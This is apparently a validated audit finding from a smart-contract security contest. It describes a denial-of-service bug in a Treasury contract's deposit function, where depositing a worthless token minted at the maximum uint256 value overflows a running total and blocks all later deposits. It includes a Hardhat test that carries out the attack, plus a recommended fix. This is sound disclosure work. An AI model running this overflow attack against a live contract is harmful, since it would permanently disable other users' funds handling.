Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

DoS via `_totalValue` overflow through zero-value token deposits in `Treasury.deposit()`

Summary

The Treasury::deposit() function allows any user to deposit arbitrary ERC20 tokens, incrementing the _totalValue without considering the token's actual value or decimals. This enables malicious users to deposit worthless or high-decimal tokens to overflow _totalValue, permanently blocking future deposits.

Vulnerability Details

The vulnerability exists in the deposit() function of the Treasury contract:

function deposit(address token, uint256 amount) external override nonReentrant {
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
IERC20(token).transferFrom(msg.sender, address(this), amount);
_balances[token] += amount;
@> _totalValue += amount;
emit Deposited(token, amount);
}

The issue arises because:

  1. Any user can deposit any ERC20 token

  2. _totalValue is incremented by the raw amount without considering token value/decimals

  3. No access control on deposits

  4. No whitelist of accepted tokens

Impact

A malicious actor can permanently disable the Treasury's deposit functionality by:

  1. Creating a worthless ERC20 token

  2. Minting a large amount (close to type(uint256).max)

  3. Depositing this amount to the Treasury

  4. The _totalValue will approach type(uint256).max

  5. Any subsequent legitimate deposits will revert due to overflow

This creates a permanent DoS condition where:

  • New legitimate deposits become impossible

  • Protocol operations requiring deposits are blocked

  • Treasury becomes unusable for its core function

  • Requires contract redeployment to fix

Tools Used

Manual review

Proof of Concept

Add test case to Treasury.test.js

it("Dos via overflow", async () => {
// Create worthless token
const MockToken = await ethers.getContractFactory("MockToken");
const attackToken = await MockToken.deploy("Worthless Token", "WTHL", 18);
// Mint large amount
await attackToken.mint(user1.address, ethers.MaxUint256);
// Deposit to overflow _totalValue
await attackToken.connect(user1).approve(treasury.getAddress(), ethers.MaxUint256);
await treasury.connect(user1).deposit(attackToken.getAddress(), ethers.MaxUint256);
// Attempt legitimate deposit - will revert
const amount = ethers.parseEther("100");
await token.connect(user1).approve(treasury.getAddress(), amount);
// Reverts with panic 0x11 (Arithmetic operation overflowed outside of an unchecked block)
await expect(treasury.connect(user1).deposit(token.getAddress(), amount))
.to.be.revertedWithPanic("0x11");
});

Recommendations

Do not track total value in a variable, instead calculate the total value in the getTotalValue() functions iterating over all tokens balances and their actual values according to oracles.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Treasury::deposit increments _totalValue regardless of the token, be it malicious, different decimals, FoT etc.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.